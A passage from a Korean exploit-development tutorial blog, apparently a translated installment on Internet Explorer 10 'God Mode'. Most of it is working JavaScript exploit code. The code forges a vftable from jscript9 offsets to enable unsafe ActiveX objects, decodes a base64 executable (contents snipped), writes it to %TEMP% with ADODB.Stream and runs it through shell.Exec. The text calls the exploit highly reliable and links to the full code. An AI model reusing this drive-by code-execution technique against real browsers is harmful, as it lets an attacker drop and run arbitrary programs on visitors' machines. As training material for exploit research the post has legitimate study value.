read(old_objptr); // Create the new vftable. var new_vftable = new Int32Array(0x708/4); for (var i = 0; i < new_vftable.length; ++i) new_vftable[i] = read(old_vftptr + i*4); new_vftable[0x10/4] = jscript9+0x10705e; new_vftable[0x14/4] = jscript9+0xdc164; var new_vftptr = read(get_addr(new_vftable) + 0x1c); // ptr to raw buffer of new_vftable // Create the new object. var new_object = new Int32Array(4); new_object[0] = new_vftptr; new_object[1] = jscript9 + 0x15f800; new_object[2] = jscript9 + 0xf3baf; new_object[3] = jscript9 + 0xdc361; var new_objptr = read(get_addr(new_object) + 0x1c); // ptr to raw buffer of new_object function GodModeOn() { write(pp_obj, new_objptr); } function GodModeOff() { write(pp_obj, old_objptr); } // content of exe file encoded in base64. runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'; function createExe(fname, data) { GodModeOn(); var tStream = new ActiveXObject("ADODB.Stream"); var bStream = new ActiveXObject("ADODB.Stream"); GodModeOff(); tStream.Type = 2; // text bStream.Type = 1; // binary tStream.Open(); bStream.Open(); tStream.WriteText(data); tStream.Position = 2; // skips the first 2 bytes in the tStream (what are they?) tStream.CopyTo(bStream); var bStream_addr = get_addr(bStream); var string_addr = read(read(bStream_addr + 0x50) + 0x44); write(string_addr, 0x003a0043); // 'C:' write(string_addr + 4, 0x0000005c); // '\' try { bStream.SaveToFile(fname, 2); // 2 = overwrites file if it already exists } catch(err) { return 0; } tStream.Close(); bStream.Close(); return 1; } function decode(b64Data) { var data = window.atob(b64Data); // Now data is like // 11 00 12 00 45 00 50 00 ... // rather than like // 11 12 45 50 ... // Let's fix this! var arr = new Array(); for (var i = 0; i < data.length / 2; ++i) { var low = data.charCodeAt(i*2); var high = data.charCodeAt(i*2 + 1); arr.push(String.fromCharCode(low + high * 0x100)); } return arr.join(''); } fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe"); if (createExe(fname, decode(runcalc)) == 0) { // alert("SaveToFile failed"); window.location.reload(); return 0; } shell.Exec(fname); // alert("All done!"); })(); </script> </head> <body> </body> </html> | cs |
항상 그랫듯, runcalc를 생략했습니다. 전체 코드는 아래 링크에서 받을 수 있습니다.
- http://expdev-kiuhnm.rhcloud.com/wp-content/uploads/2015/06/code4.zip
SimpleServer를 이용하여 IE 에서 페이지를 불러오면 모든게 잘 동작할 것 입니다. 이 익스플로잇은 굉장히 신뢰성이 높습니다. 사실 뭔가 잘못되어 IE 에서 충돌이 발생하면 IE는 페이지를 다시 불러올 것 입니다. 유저는 충돌을 확인할 수 있지만 이는 심각한 문제는 아닙니다. 어쨋든 충돌이 발생하는건 극히 드뭅니다.
IE 10 32비트와 IE 10 64비트
IE 10은 32비트와 64비트 버전이 있습니다. 우리의 익스플로잇은 둘다 사용가능한데 그 이유는 주 윈도우에 연관된 iexplore.exe 모듈은 32비트와 64비트에 따라 다른 반면에 탭에 연관된 iexplore.exe 모듈은 모두 32비트 모듈에 연관이 되어 있기 때문입니다. 윈도우즈 작업 관리자를 이용하여 두 실행 경로를 통해 검증해보실 수 있습니다.
'Projects > Exploit Development' 카테고리의 다른 글
[익스플로잇 개발] 19. IE 11 (Part 2) (3) | 2016.07.22 |
---|---|
[익스플로잇 개발] 18. IE 11 (Part 1) (1) | 2016.07.22 |
[익스플로잇 개발] 16. IE 10 (God Mode 2) (0) | 2016.07.22 |
[익스플로잇 개발] 15. IE 10 (God Mode 1) (0) | 2016.07.22 |
[익스플로잇 개발] 14. IE 10 (한 바이트 쓰기로 전체 메모리 읽기/쓰기) (3) | 2016.07.22 |
- Total
- Today
- Yesterday
- 2014 SU CTF Write UP
- IE UAF
- 윈도우즈 익스플로잇 개발
- TenDollar CTF
- Windows Exploit Development
- TenDollar
- 힙 스프레잉
- Use after free
- expdev 번역
- 2015 School CTF
- 데이터 마이닝
- IE 10 God Mode
- IE 10 Exploit Development
- IE 10 리버싱
- heap spraying
- IE 11 exploit development
- UAF
- School CTF Write up
- data mining
- IE 10 익스플로잇
- IE 11 exploit
- shellcode writing
- shellcode
- WinDbg
- Mona 2
- CTF Write up
- IE 11 UAF
- 쉘 코드
- 쉘 코드 작성
- School CTF Writeup
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |